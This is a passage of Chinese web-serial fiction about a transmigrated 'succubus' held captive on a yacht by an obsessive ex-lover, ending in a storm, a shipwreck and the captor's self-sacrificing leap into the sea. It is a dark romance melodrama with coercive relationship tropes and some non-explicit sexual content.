梁文乐深嗅了他身上的气味,都快忘记自己被叶临背叛伤害的经历,只想让时间静止,永远停留在此刻。 “你现在就像狗一样,老是蹭我,烦死了!”叶临忽然想到他养的那只萨摩耶:对了,圆圆呢,它还好吗?” 圆圆见证过他们的热恋期,相当于一个重要见证物。 当初出国留学,梁文乐怕带着圆圆会想起叶临,干脆放在国内让父母养着。 这一年里,爸妈也给他发过照片。圆圆被他们养得很好,还胖了很多,每天笑嘻嘻的,似乎已经忘记了两个小主人。 梁文乐看圆圆的照片就会想起没心没肺的叶临,心情糟糕,就没有人让爸妈给他发照片。 现在听叶临提起来,就吃圆圆的醋,宁愿关心一只狗,也不关心他。 梁文乐的语气冷漠:“杀了,埋在我们住的那个别墅里,应该早就变成玫瑰花的养分。” 叶临这几天见识过他的疯癫,看他阴郁的表情,是真能想象到圆圆被他杀死的场面。 圆圆是只头脑不太好的萨摩耶,每天就知道玩游戏,会直白地用叫声表达自己的心情。 如果想要被抱,它就会抬爪子放在腿上扒拉,汪汪地叫两声,吐出淡粉色舌头。 如果听到主人拿牵引绳,就会飞速冲到门口,小耳朵立起来,疯狂摇尾巴,情绪兴奋。 这么可爱的一只狗,居然被杀了? 叶临的眼眶瞬间湿润,掐住梁文乐的脖子,哽咽道:“它那么傻,吃饭都要人陪,你怎么能杀了它!” 梁文乐:“还不都怨你之前背叛我,只要看见它就会想起你,干脆杀了,眼不见为净。” 叶临的眼泪一颗一颗掉下来,说话都在发颤:“它只是一个小狗,什么都不懂。有什么事冲我来,你这个混蛋怎么能,怎么能” 到了后面,已经泣不成声。 比起男人,圆圆在他心里的位置更重要。 他开始后悔,当初怎么没把圆圆偷出来自己养,还以为梁文乐养了圆圆好多年,会对圆圆好一点。 都不敢想,圆圆死的时候多可怜。 叶临的眼泪越流越多,手劲也意识地变大。 梁文乐感觉自己快死了:“圆圆没死,我骗你的。” 叶临才回过神来追问:“真的吗?” “那只笨狗刚出生就被我抱过来养,很多年了,我怎么可能杀它,故意气你罢了。” 叶临松开手,向他索要证据。 梁文乐打开手机,让他看梁父梁母发过来的视频和图片。 圆圆的品相很好,在萨摩耶里也是少有的可爱。玩游戏的时候会有自己的小习惯,只要多观察视频里的细微动作,就能发现是它,而不是新的狗。 它比原来胖了一圈,每天都有人陪着玩,心情应该很好。 看样子,梁父梁母都比梁文乐会养狗,而且老人重感情,不会让狗出意外。 叶临总算松了一口气,盯着照片里的圆圆看,想到刚穿书的时候,有种恍若隔世的感觉。 梁文乐的脖子多了一圈深紫痕迹,咳嗽好一会儿才缓过来,埋怨道:“你就知道关心圆圆,也不关心我。” 叶临放大照片观察圆圆的粉白耳朵,又戳戳粉色鼻子,语气冷淡:“圆圆是个值得爱的小狗,你是不配爱的垃圾,能一样吗?” 梁文乐被他刺了一下,忍不住嘲讽:“它喜新厌旧,现在不记得你。” 叶临的嘴角微勾,出现了久违的笑容:“这有什么,它过得幸福就行,希望它一直开开心心的,没有烦恼。” 比人比不过,现在连狗也比不过。 梁文乐应激了,立即夺回手机,从后面靠住叶临的肩膀,抬手帮他擦掉残余的泪水。 他们就坐在窗边,可以欣赏到一望无际的蓝色海面,海鸥在附近盘旋,发出鸣叫。 “你就不能多想想我,心里有我的一点位置就好。” “不能。” “人心都是肉长的,我用真心待你,哪怕不喜欢,你都应该有所动容。” “我不是人,是冷酷无情的魅魔,劝你马上放弃。” 叶临不想给他任何希望,只求他快点放弃,给彼此重新开始的机会。 梁文乐陷入沉默,紧紧地抱着他,像是不幸坠海,好不容易抓住一根悬木,维持生机。 哪怕知道强求会让彼此受折磨,也要坚持。他清楚地知道,放弃叶临就是放弃生命,这辈子都做不到。 叶临被他抱着做不了其他事,只能查询饥饿值,想找点事情转移注意力。 【目前饥饿值30%】 还好,饥饿值增速有减慢的情况,要是还像之前那样,真的会死人。 就是不知道什么时候才能变回去,真不想保持魅魔的样子。 【宿主,增速正常应该就好了。】 话说,魅魔系统好歹是金手指,应该有兑换商城,让他兑换任意门逃跑啊? 【很抱歉,没有商城这个功能。】 那魅魔系统有什么用,服了! 【魅魔系统可以帮宿主获取大量金钱,很多男人的爱。】 不需要男人的爱。 经历这么多事情,他算是明白了,跟这些没吃过苦的神经富二代谈恋爱,下场变会得凄惨。 他是正常人,拿得起放得下,很多问题都能看开。 但这些富二代思想不正常,各个都是疯子,为了爱要死要活,什么阴招都能使出来。 叶临骂了一句脏话,烦躁地拧梁文乐的手臂肉,发泄心中的怒气。 尸体一样的梁文乐总算有了反应,他偏头去亲,低声问:“你不会还在想那些男人能把你救回去吧?” 叶临无奈叹息:“强求的爱情是没有好结果的。” 梁文乐选择性地忽略,眼神阴鸷,沉声道:“这艘船有速射炮,他们要是敢追上来,我就让他们死无全尸。你是我一个人的,谁都不能抢走。” “以前我喜欢养鸟,都是把小鸟们关在笼子里养。刚开始它们每天都张大嘴巴等我喂虫子,后面它们长大,有了结实的羽翼,就不愿意吃东西。 村里的老人告诉我,应该放走它们,不然它们会活生生地把自己饿死。我心里不舍,但怕它们死,还是打开笼子放走了。 后来又忍不住养了很多鸟,只要它们想走,就会放掉。结果,其中有一只鸟会经常回来看我,我总算拥有了属于自己的鸟。” 叶临平静地叙述完童年时期在农村养鸟的过程,眼神中流露出对自由的渴望。 梁文乐仍旧搂着他,轻声附和:“那你小时候还挺有爱心的,还以为像你这么坏的人,不会养小动物呢。” “跟你说这么多,是想告诉你。你希望得到我的爱,就应该放我走。如果我喜欢你,就会主动回来找你,这样你才能真正拥有我。你现在强求,我会死的。” 第87章 第87章想走,除非他死 小鸟会回来,是感激叶临的喂养之恩。叶临不会回来,因为他们之间充斥着高浓度的恨意。 叶临不回来,他要怎么办,再次忍受长时间的痛苦吗? 出国留学这一年里,他每天都会去教室绘画做雕塑,企图转移自己的注意力,更想借助艺术疗愈,慢慢地放下叶临。 可他的画面里总是迎风盛开的黄玫瑰,和煦的阳光洒在阳台,白色的躺椅有两个人并靠,小桌上摆放着饮料。 下雨天的男人,海边大喊的男人,笑着遛狗的男人。 这些男人都只是画出大致轮廓,他都不敢细化五官,怕变成梦里最常见到的叶临。 就连雕塑的时候,无论是什么人物,都会下意识地把眼型刻得圆钝,嘴角永远上扬。 等到他意识到刻了谁,愤怒地想用锤头砸掉,最后又舍不得,只能藏进见不得光的房间里。 他怀疑自己疯了,偶尔能在周围看见叶临的身影,还会听见声音,可找过去什么都没有。 这种诡异的变化持续了很久,他变得高度敏感,精神脆弱,长时间睡不好觉,更没有办法继续学习。 后面,梁母苦口婆心地劝他去医院看看,至少要做基本的检查。 因为精神类疾病不是单纯的思想问题,更有可能是缺少某种激素或神经紊乱,要做检查,才能配适合的药。 他不接受自己因此生病,非常抵触去医院,拒绝所有医生,坚持自愈。 实际上,他在这期间疯狂收集叶临的消息。 发现叶临的公司梵星发展得越来越好了,顾柘和楚诏也掺和进来,而他本人也深陷多重的感情麻烦之中。 顾柘和顾嘉致这两个蠢货更是把叶临带出国,妄图将他困在不知名的国家里。 他派人跟踪顾嘉致,打探顾嘉致的行踪轨迹,做出了缜密的计划。 做了计划后,他的精神迅速恢复,每天可以做很多事情,不知疲倦。 现在好不容易得到叶临,距离被他誉为天堂的海岛很近了,马上就能过上梦寐以求的二人世界。 怎么可能放弃! 梁文乐搂紧叶临,感受着体温,闭上眼喟叹:“想让我放你走,除非我死。” 叶临听到他这句话,绝望之中又燃起熊熊怒火,毫不犹豫地放下狠话:“好啊!那从现在起,我就让你知道什么叫做互相折磨,不如痛快放手!” 人在做好事的时候,一般很难坚持,遇到点困难就会放弃。 可是在做坏事,折磨他人的时候,就会有毅力大,无惧困难。 接下来的几天时间里,梁文乐再也没有听过叶临说话。 每次靠近都会被打,或是被杯子,鞋子,凳子之类的东西砸。 他总是能避开,但还是有被砸中的时候。 如果他想亲密,就会遭到叶临的顽强抵抗。 哪怕他制服了,叶临就会摆出尸体的状态,让他索然无味。 叶临在故意报复他,知道他想要爱和温暖,就会冷漠地释放恶意,逼他放手。 可他放不下,再痛苦都会坚持。 晨光微曦,天际还是深沉的蓝色,随之太阳升高,逐渐从出现了柔和的紫色,最后化作温暖的橘红。 海天相接处,是璀璨夺目的碎光。 梁文乐正在驾驶室确认这艘船的航程,大约还有十天就能绕过几个热闹的航路,到达南半球的小岛。 驾驶员注意到老板总是鼻青脸肿,像是被人暴打一顿。 应该是被二楼的男生打的。 当时他只在上船的时候匆匆见过一面,那个男生身材比老板瘦小,全身都被裹紧。脸很小,被帽子挡住一半,看不清长相。 从那以后,男生就再也没有出现在他们面前。而且老板也明令禁止他们进入二楼,难得窥见真容。 现在看起来,男生的脾气应该很暴躁的,经常打老板。 驾驶员好奇地问:“是被恋人打了吗?” 梁文乐捕捉到关键词“恋人”,没有责怪驾驶员多事,笑着点头:“对,他脾气不好,像只小猫,但是很可爱。” 驾驶员暗自诽腹:打成这样,不是小猫,是豹子吧,真可怕! 梁文乐吩咐完航行的重要事项,走进厨房里端走早饭,去了二楼。 然而到了房间门口,他发现这门打不开,只好拍门叫叶临。 叶临难得回复:“我不想见你。” 梁文乐又用钥匙试了,还是打不开。 这个游艇的质量很差,不是智能操控,房门都有特定的钥匙,从里面锁上就打不开。 而且船上只有驾驶员和厨师,也没有开锁工具,暂时进不去。 “你不想见我,先吃饭好吗?” “不好,我决定了,既然你不放我走,我就饿死。” “叶临,你不要这样幼稚!” “你更幼稚!” 叶临骂完就回到床上继续躺着,无论梁文乐在门外怎么着急呐喊,都当做听不见。 反正他在柜子里藏了几天的食物,完全不担心会饿死。 只是吓吓梁文乐,逼他拆开遥控器。 很久过后,梁文乐似乎是放弃了,外面没有声音。 叶临凑到门板去听,确认他往远处走了才安心,但也敢打开门去查看。 万一梁文乐就在外面蹲守他,那就完蛋了。 叶临走到柜子前蹲下来,拉开最底层,把食物都拿出来放在桌上。 悲剧的是,柜子不能保存食物。 准备了几天的食物,现在只剩下鱼干能吃。 那肯定撑不过今天,深夜还得想想办法。 叶临拿起鱼干来吃,痛骂梁文乐无耻。 饭桌对面就是一个全身镜,那是梁文乐故意搬过来的,就想借此欺负他。 镜子中的他已经恢复成人形,不再有耳朵和尾巴。 可饥饿值增速还是没有恢复正常,仍旧是增快的。 【目前饥饿值50%,还请宿主快点补充能量,预计明天早上九点就会变成100%】 烦死了,还有个饥饿值需要管。 叶临扛起凳子,朝着镜子砸过去。 破碎的镜片散落一地,反射着房间里的灯光。 他怕伤到自己,还是用梁文乐的衣服把这些玻璃包起来,放进垃圾桶里,还吐了口水骂人。 外面再次传来梁文乐的声音,紧张地询问他的情况。 “叶临,你没受伤吧?” “这么大的声音,是镜子碎了吗?” 原来就在不远处,怪不得能听到声音。 叶临继续保持沉默,躺回去睡觉,打算再跟梁文乐耗一天。 深夜气温下降,旁边又没有人抱着他,帮忙盖被子,直接被冷醒。 “阿嘁!” 叶临打了喷嚏,起来穿上外套,再走到门边去偷听。 外面应该没人,只能听见海水翻涌的声音。 这么晚了,梁文乐那小子应该早就睡觉了吧。 叶临小心地打开一条门缝,警惕地看着外面,发现前后都没人,黑黝黝的。 他这才放心走出去,踮着脚下楼,摸黑进了厨房。 虽然嘴上说要用性命威胁梁文乐,但他才不舍得饿自己。 在这个世界上,只有自己最重要了。 也不知道,梁文乐和顾柘为什么会对自己狠心,不怕疼不怕死的。 好吧,还是梁文乐更狠,居然安装炸弹,真是病得不轻。 叶临从冰箱里翻出蛋糕,蹲在地上狂吃,还抽空骂人。 黑暗中,手背忽然碰到了冰的酒瓶。 叶临吓得往后跌去,隐约看见眼前有个人影,似男非女,像个鬼。 啊! 不会是见鬼了吧,听说海上有很多尸体不断地漂浮,就会产生怨念,在深夜缠住船员,让船员坠海而亡。 叶临抬手去挡,做出防御的姿态。 那个酒瓶再次靠近,紧接着就是熟悉的声音:“你不渴吗?” 叶临猛然惊醒,扑上去给了一拳:“操啊,梁文乐你小子居然敢装神弄鬼!” 梁文乐顺势抱住他:“我只是担心你,看到你还会找东西吃,就安心了。” 这瞬间,就像是吹牛被打脸,疼且羞愧。 叶临想跑掉,却被用力按住,只能骂:“谁让你一直逼我,那我只能这样。我真是倒八辈子血霉了,遇见你这种混蛋!” 梁文乐笑起来,亲亲他的耳垂:“那我上辈子肯定是拯救了世界,才能遇到你,好幸福。” 看吧,跟精神病无法正常沟通。 叶临翻了个白眼,选择闭嘴。 梁文乐抱了一会儿才松开手,打开灯,帮他热晚饭。 叶临见自己的事迹败露,还饥肠辘辘,无法再继续犟下去,那还是先吃饭吧。 肚子吃饱了,才有力气反抗梁文乐。 他坐在吧台前吃肉酱意面,觉得渴顺手就拿了旁边的酒来解渴。 酒一下肚,那跟水就是不一样。前者能够麻痹神经,缓解痛苦,后者只能解渴。 梁文乐还在煎牛排,听到后面的动静,回头去看。 他发现叶临手里居然拿着棕色的酒瓶,连忙跑过去,看完瓶身的英文,神情变得严肃。 “你怎么不喝我给你的,非要喝这瓶?” “这有什么区别?” 叶临忽然觉得热,解开扣子透气,脸颊红得厉害。 【警告!饥饿值在快速增长,目前90%,还请宿主快点补充能量。】 梁文乐叹息一声,抬眼注意到叶临的耳朵和尾巴都冒出来,又把酒瓶放好。 “其实喝了这瓶也挺好的,这下你就不能对我说难听的话了。” “你,你” 叶临本来想用力去打他,却主动搂住,抬头去索吻。 第88章 第88章他离不开梁文乐 在月光的照耀下,船尾拖出长长的银色泡沫,像是彗星的尾巴。 窄小的厨房里弥漫着旖旎的气息,光线像是平静的湖水,很快就被搅动,变得浑浊,犹如沼泽地。 叶临坐在吧台上,仰着头慢慢地呼吸,手撑着桌面,因为用力,指节都泛红。 他的眼睛湿润了,打湿睫毛,变得沉重。身后的尾巴不断地起伏晃动,像是被风吹动的芦苇。 “哼” 突然感觉到疼意,魅魔又不满意,就会小声哼唧,再报复回去。 梁文乐的嘴皮破了,溢出的鲜血将唇染得更深,他的眼神得意,愈加恶劣。 很快,就被用力踢了,疼得眉头微皱。 没办法了,对付不听话的小猫咪,就是应该将它的手脚控制住,才能避免被抓伤。 “宝宝不乖,要吃教训。” “哼!” 叶临不满地扭过头,紧接着就感觉到完全悬空。 像是能折叠的躺椅,要完全折叠成纸片,放在角落里减少占地面积。 这样的情况,以前从没遇到过。 简直就像坠入岩浆之中,哪里都被高温灼烧,只能陷入更深处,快要窒息,快要死去。 可是,总是在天堂和地狱之间反复切换,让人无法彻底崩溃,又会持续沉迷。 【当前金钱增速为每小时22万】 老是主动索取的魅魔终于有了承受不住的兆头,靠着梁文乐哭起来。 梁文乐抹去他的眼泪,怜惜地去吻,故意调侃:“宝宝掉小珍珠了,好可爱。” 小恶魔呜呜咽咽,说不出话,只会持续地哭。这是出于本能的反应,并非他能够控制的。 “不哭了,乖宝宝。” “呜呜呜呜呜” “好可爱,想吃掉。”梁文乐捧着他的脸,注意到泛红的眼眶,和潮红的鼻尖,低头去吻,由衷地说出自己的内心想法。 他总是会想,如果把叶临吃进肚子里,肯定不会分开了。他们会完全融合,永远在一起。 可每次,他张嘴要吞噬,又会心软。 这么好看的叶临,漂亮得像个精致玩偶,还特别爱哭,吃掉的话就会消失,那样好可惜。 算了,还是再忍忍吧。 梁文乐用衣服他包起来,朝着二楼走去。 到了外面,海面的冷风吹过来,刚好饥饿值也下降到安全范围,叶临总算清醒。 他看着漆黑的甲板,能够听见耳边的海风呼啸,下意识地缩紧脖子,找个暖和的怀抱躲起来。 可是很快,又感觉到梁文乐,涨红了脸,抬起头去看。 梁文乐现在已经能够分辨出他是否清醒,低头去亲小角,柔声道:“你恢复意识了。” 叶临的耳尖发烫,着急地乱动,又怕幅度过大会掉下去,只好克制:“你,你放我下去!” 梁文乐只是笑着亲,并没有做出应答。 他们站在楼梯上,还能看见一楼的驾驶室和厨房,以及员工休息室。 而且两个员工就在一楼休息,可能会听见他们的声音,船偶尔还会因为风而颠簸起来,致使更深的境地。 叶临恼羞成怒,拧住梁文乐的胳膊肉,低声骂道:“你这个不要脸的混蛋,别在这里啊,真是有病!” 梁文乐见他还有力气拧人,又继续往上走,步伐很慢,手臂还故意颠。 “操!” 叶临的声音破碎,肩膀在发颤,眼泪再次掉下来,在月光下泛着银光。 此刻,他就像是被人类抓住的鱼,困在渔船上,沦为供人取乐的物品,再难逃脱。 不知道过了多久,才回到二楼的卧室。 叶临窝进柔软的棉絮里,已经泣不成声,像个被大雨打湿的小鸟。 梁文乐怜惜地亲他,嘴里说着好话哄,却没有任何讨好的实际行动。 海面上的倒影逐渐从银色的月亮,变为金黄的太阳,波光粼粼中映射出漫长的纠缠过程。 醒来时,叶临的嗓子已经哑了,身上的魅魔形态还没解开,而梁文乐就在旁边,睡得正熟。 他抬手就给了一巴掌,再冲上去打,嘴里说着诅咒人去死的话。 梁文乐刚醒,眼睛就肿起来,艰难睁开眼,看到怒气冲冲的叶临,连忙出手制止。 叶临的神情愤恨,像是在报复一个欺负自己的土匪,还想继续挥拳去打。 梁文乐将他的手放在心口的位置:“打这里,别打脸,毁容了可不好。” 叶临还想用另外的手扇脸,结果对方却突然强势起来,瞬间扭转战局。 【当前饥饿值60%,请宿主尽快补充能量。】 昨天的酒,应该是有问题,才会导致饥饿值迅速增快。 肯定是梁文乐这个贱人故意整他! 叶临面对重量压制,还是奋力挣扎,四处*乱踢。 “你这个不要脸的混蛋,居然敢在酒里下药!” “没下药,是酒比较烈,就有特殊功效。谁让你不喝我给的果酒,非要自己乱喝。” 梁文乐的冰箱里放了很多酒,几乎都是难得的珍品。 他怕叶临不能喝酒,还精心挑选了度数低,口感棉柔,入口甘醇的果酒。 结果叶临乱拿了最烈的酒。 平时这种酒都是睡前喝一小点助兴,结果叶临喝了一大半,自然要出事。 叶临听完他的话,也知道是自己手贱,但他才不会承认错误,只会推到梁文乐身上:“那你应该仔细检查,别在我旁边摆这种酒,蠢死了!” 谁会跟恋人讲道理,那样不浪漫,也没风趣。 梁文乐笑起来,故作愧疚道:“好,是我蠢,没有考虑到宝宝会拿到这瓶酒,下次肯定要长记性。但是宝宝好厉害,这么烈的酒,都能喝一大半。” 男人都喜欢被夸赞酒量,叶临也不例外。 他莫名骄傲起来:“我酒量本来就好,你这种小菜鸡,一看就不行。” 梁文乐松开他,从旁边的柜子上拿出昨晚那瓶酒:“是吗,那我们再比比?” 叶临推开酒,着急下去:“不跟你比,我要去吃饭。” 梁文乐抓住他的尾巴,将他强行拽回去:“你这副模样,能去哪里,还是老老实实呆着吧。” 叶临恨死多出来的尾巴,简直就是致命弱点,方便梁文乐控制他。 后续的六天里,梁文乐充分地利用酒的特性,每天都会喂叶临喝一点,从而保持他的魅魔形态。 叶临因为老是被喂酒,饥饿值长时间消除不掉,对梁文乐产生了依赖。 比如,一旦梁文乐碰他的脸,就会下意识地甩尾巴,将脸贴上去,像是被豢养多年的猫咪。 还得梁文乐抱着才能睡着,否则就很容易惊醒。 此外,他不知疲倦地索求,像是填不满的无底洞。 时常神志不清,总是分不清时间的流逝。 叶临再次醒来,都分不清过了多久,看到胳膊上的痕迹才能判断出昨天跟梁文乐做的事情。 他听到雨声,往窗外看去,发现厚厚的乌云压得很低,海面掀起许多波浪,船身随之晃动。 房间里的家具都开始移位,贴墙的柜子已经往前挪,而桌上的杯子掉在地上发出破碎声。 隐约听见门外有交谈的声音,像是梁文乐在和驾驶员沟通,似乎发生了争执,听不清。 叶临想起身去听,结果刚下。床就跌倒,只好扶住旁边的柜子。 船身晃动得太厉害了,他扶着柜子想起来,就会被无形的力量推倒,还磕到头。 门很快就被打开,梁文乐连忙把他抱起来,涂药包扎。 驾驶员应该走了,能够听见下楼的声音。 梁文乐怪他不老实,总是想跑,结果伤到自己。 嘴上是抱怨着的,涂药的动作非常轻柔,又怕他疼。 叶临感觉到他掌心的热意,忽然心痒,努力克制着自己的想法,看向窗外转移注意力。 也不知道怎么回事,自从那次喝酒,他跟梁文乐之间的关系就变得奇怪。 只要梁文乐触碰,他就会想靠近,像是被下蛊了一样。 都怪那瓶酒吧! 梁文乐收好医药箱,察觉到他在走神,语气不悦:“你又在想谁?” 叶临回过头去看他,对视上那双琥珀色的眼瞳,犹如黑夜里的飞蛾看见了烈火,差点就想扑过去。 真是得病了! 叶临按住自己,咬牙骂道:“我想任何人,都跟你无关。” 梁文乐冷笑一声,再次拿出同样的酒。 叶临很想喝,但还是缩回去,用被子挡住脸,大声骂:“你滚远点,我看到你就恶心!” 梁文乐握住他的手,拉开被子:“是吗?” 叶临的脸颊很快就红起来,呼吸不匀,故意偏过头不看梁文乐,可尾巴已经背叛他的想法。 尾巴主动圈住梁文乐的手臂,乖巧讨好。 叶临也会想到昨夜的事情,心脏燥热,整个人都变得奇怪。 靠,到底怎么回事? 【宿主一直靠他解除饥饿值,还频繁喝酒,有了很强的依赖性,应该很难戒掉。】 什么? 这都怪梁文乐! 叶临气愤地扑过去对梁文乐拳打脚踢,想要把这个害人精就地正法。 可他已经不比以前,只要被亲,就会化掉所有力气,顺从地靠近。 梁文乐将他全完全圈住,故意玩尾巴:“嘴上说讨厌我,其实很喜欢吧。” 叶临红着脸骂:“我没有!” 话是这样说,但肢体却没有反抗,像是被驯服。 梁文乐笑起来,指尖燃起了火焰,路过的每一处就会掀起燎原巨火。 “你的心里没有我,但这些地方已经离不开我。” 叶临骂他无耻,又难以控制地沦陷。 雨下了很久,而且每天都是阴沉沉的,再也没有晴天。 房间里的窗户一直被拉上,察觉不到外界的变化,只有甜蜜的温存。 梁文乐感觉自己终于拥有了叶临,再也不会被赶走,还会被叶临所需要。 只有一天就能到达海岛,到时候所有的梦想都会实现。 叶临原本在睡梦中,忽然感觉到船身剧烈的摇晃,又听见雷声,猛然惊醒。 梁文乐看他发抖,连忙将他抱住哄,还捂住耳朵,不让他听见雷声。 船身再一次震动,紧接着就听到许多重物倒地的声音。 叶临被晃吐了,脸色苍白,咳嗽不止。 梁文乐忙着帮他清理,再喂晕船药,哄他还有一天就能到达海岛,到时候就不需要坐船了。 叶临吃了晕船药,总算舒服了。可他心里惴惴不安,掀开窗户去外面,顿时瞪大眼睛。 远处已经掀起了巨浪,看情形应该有几十米高,而且风势浩大,看样子是场灾难。 “我感觉要出事,你快让船员想办法跑。” 梁文乐已经在联系船员,结果对方就是不接,忽然有了不好的预感。 轰—— 船身再一次距离晃动,所有的东西都倒塌。 巨大的柜子朝着床砸过来,梁文乐连忙将叶临推开,肩膀被砸出血。 虽然恨不得梁文乐去死,但这种时候无法做到不救人。 叶临在这种剧烈摇晃的情况下站不稳,艰难地抬柜子帮梁文乐脱身。 梁文乐的左边胳膊已经断了,只能耷拉着跑出去。 他们跑到船外,就发现船尾的部分已经裂开,大量的海水灌入,马上就要四分五裂。 到处都是冰冷的海水,地面湿滑,船身又在摇晃,难以前进。 船头的驾驶室已经没人,找不到两个工作人员的身影。 梁文乐被叶临扶着走,指引他跑去放置救生船的地方。 到地方才发现,只有一艘小救生船,两个人会显得拥挤,还只有一件救生衣。 梁文乐:“他们应该是提前乘船逃跑了,只剩下这些,早知道就不买这艘游艇!” 要是换成他自己的游艇,巨大的船身,还有最好的技术,遇到这种大风浪,完全不会出事。 叶临:“就知道你是个蠢货!算了,这艘船马上就要沉了,我们快走。” 叶临在生命危急的情况下动作迅速,很快就扶着梁文乐上船,顺着通道滑出去,漂浮在海面上。 巨浪还是在很远的地方,有概率可以躲过去,而且这附近就有群岛,只要靠近就能得救。 叶临不常在海边生活,驾驶船的技术有限,很难避开潜在的危险。 梁文乐在旁边指挥他,该怎么避开海浪,远离游艇。 好在叶临冷静,顺利地远离即将沉毁的游艇,来到一片有海浪起伏,但相对较小的海域。 可是这艘船的沉重有限,再持续下去,会有侧翻的风险。 梁文乐的头发已经被打湿,神情冷静,将救生衣递给叶临:“我会游泳,你穿上。” 叶临看见他流血的胳膊,那是为了保护他受的伤。 仅有的良心让他无法心安理得地穿上这件救生衣:“我比你还会游泳,你小子手都断了,赶紧穿上。” 梁文乐从小就生活海边,最熟悉海面的情况,微微捏紧救生衣,恍惚间预见了自己的未来。 叶临眯着眼看远处的浪,心态还算乐观:“你快找出海岛的方位,我们赶紧过去,应该就没事了。” 没有回答。 第89章 第89章“坏魅魔,下辈子再见!…… 风越来越强,小船随之摇晃,几欲要翻船。 叶临费力地控制船身,加紧督促梁文乐穿上救生服。他的目光坚定地看向前方,相信他们可以逃过这场风暴。 倘若是平时,肯定会责怪梁文乐为什么要把他带上这个小游艇,又为什么要选择危险的航线,还看不紧两个船员。 可已经到了生死危机时刻,责怪和埋怨都没用,保命才是最重要。 雷声轰鸣不断,乌云层时不时闪过白光,是刺眼的闪电。 黑色的海面起伏不定,大风掀起一道又一道的海浪,近处大都是半人高,远处堪比高楼。 漫天的雨水模糊了视线,很难找到岛屿的位置。 梁文乐根据记忆里的地图,以及风向指引叶临前进。 慢慢的,远处的岛屿终于显现出一点轮廓,看距离依旧是很远,估计需要花大半天。 可海浪还是汹涌不止,乌云越发厚重,像是一座巨大的山,快要压下来。 窄小的船身,已经无法容纳两个人,再来几个大浪,就会分崩离析。 一个人的话,看准岛屿的方向,足够幸运,应该能够获救。 梁文乐盯着叶临的背影,衣服全湿了,手臂泛白,冷得发抖,还在坚持。 叶临也不责怪他,就默默地掌控船,还催促他穿上救生服。 为什么不怪他呢,明明是他将叶临带上这艘危险的船? 如果他再细心严谨,就不会遇到这种危险。 叶临的性格恶劣,还恨透了他,刚刚在游艇上,就应该不管他,自己开船跑掉。 可是却选择留下来,跟他共进退。 虽然才可能过了一分钟,但他的思绪很多,仿佛已经度过了漫长的百年。 梁文乐神经麻木,已经感觉不到手臂上的疼意。 “刚刚我被衣柜砸到,你为什么不自己逃跑,还要带上我?” “你以为我跟你一样是个见死不救,蔑视生命的混蛋吗!”叶临看他,发现救生服还在,忍不住大骂:“操!磨磨唧唧的,能不能像个爷们,快穿上!” 这张脸已经被水模糊,像是水彩慢慢晕开,只有轮廓,眼睛却异常明亮,犹如黑夜里的北极星,总能指引方向。 是恨叶临的,恨他背叛自己,恨他骂人诛心,最恨的还是他不爱自己。 想要折断他的羽翼,想要他痛苦,想要他离不开自己。 可叶临又是那么善良,这种时候了居然还想带他一起活下去。 原来,叶临不只是会心疼濒死的顾嘉致,也会在意他的生命。 梁文乐眼眶发热,鼻子一酸,声音就哽咽了:“你怎么这样,我” 叶临听他在那里矫情就来气,恨不得将救生服强行套头帮他穿进去。 可惜现在船离不开人,他不能分身,只能好言相劝。 “好了,你快穿上吧。生死存亡之际,能不能紧张点!” 再这样下去,他们两个人都会死。 梁文乐摸着冰冷的船沿,低着头去看漆黑的海水,像是被地府凝视:“你看见岛屿的位置了吧,待会儿风稍微小一点,就穿上救生衣,快点把船开过去。” 叶临想扭头去骂他,结果一个大浪打过来,连忙控制住船身,紧张得手臂青筋都冒出,脸色铁红。 “叶临,你太好了,还是活着吧。” “但是要记得我,死都不能忘,好吗?” “咚——” 船身堪堪稳住,船尾突然响起一个巨大的落水声。 叶临呼吸滞住,扭过头去看,发现已经没了人影,世界都随之静音。 海水漆黑冰冷,犹如巨大的黑洞,将光都吞噬干净。 落水的瞬间,没有想象中的痛苦,反而是灵魂升腾的轻松。 梁文乐随着水波漂流,像是回到羊水里。 脑海里闪过无数画面,都是他和叶临的记忆,有曾经的虚情假意,也有现在的爱恨纠葛。 到最后,都是幸福美好的回忆。 他小时候每次听美人鱼的故事都会哭,为美人鱼失去嗓子而难受,更为美人鱼没被王子选择而愤怒。 甚至看完结局就崩溃,发誓再也不看这个童话。 愚蠢的混蛋王子,不知道美人鱼为了变出人腿,甘愿忍耐疼痛。 而美人鱼明明可以选择向王子复仇变回原形,可还是跳进大海变成泡沫,甘愿为爱献身。 这是他最讨厌的童话故事,一直无法理解。 此刻身处海底,想着船上的叶临,总算感同身受。 如果王子是叶临的话,他也会放弃报仇,甘愿化成泡沫。 好在叶临尊重生命,会永远记得他。 生前不能在叶临的心上有一席之地,死后能成为他无法忘怀的遗憾,也足够了。 梁文乐的意识逐渐涣散,慢慢地闭上眼睛。 大海像是吃到了自己想要的祭品,逐渐变得平静,不再掀起百米高的海浪。 乌云层里的闪电也停止,雨势变小,天边开始出现细微的光。 叶临根据脚踝的遥控器找梁文乐的位置,只要发烫就会往反方向行进。 他怕梁文乐淹死,更怕梁文乐被炸成血花,半点不敢放松。 只要测出大概的位置,就能潜入海底,将梁文乐找出来。 小船少了一个人后更好控制,可以更好地在海面航行,但要想找到人并不容易。 叶临都不记得要去海岛了,边找边骂。 这个崽种,死活不穿救生衣,招呼不打就跳海,真是有病! 叶临骂了好几句脏话,船身被海浪击打,晃得他摔倒,差点栽进海水里。 他现在回味梁文乐的话,才发现这小子一开始就没打算跟他去海岛,而是想牺牲自己,换取他的平安。 其实他知道这艘小船容不下两个人,救生衣也顾不全他们,但就是想着挤一挤,总能活下来的。 谁知道,梁文乐半路就放弃了。 这小子是真不怕死,这种天气跳海,生还率很低的好吧。 有必要嘛,非得跳? 叶临无法理解梁文乐的做法,更无法理解疯狂找人的自己。 明明是梁文乐的错,是这个蠢货将他带到游艇,不择手段地折磨他,就应该去死! 现在梁文乐自己找死,以后就再也不能纠缠他,不是万事大吉吗? 为什么,为什么他就是不甘心,非要找。 好像非常害怕梁文乐死,或者说,害怕梁文乐因为他而死。 他不想背上一条人命,在往后漫长的人生里,不断地回忆梁文乐这个人。 接受别人的牺牲,是被迫安上诅咒,终其一生都会活在阴影里。 叶临不想这样活着,爬起来再继续操纵小船找。 可是小船的能源很快就要耗尽了,速度变慢。 脚踝开始发热,又远离了安全氛围。 叶临连忙返回,看着即将消耗殆尽的能源,不敢再乱动。 天边有阳光袭来,厚重的乌云层开始散开。 忽然传来鸣笛声,有一艘大船驶入这片海域,劈开海浪。 在船头的位置,有个逆着光的剪影,犹如夕阳下的松柏树。 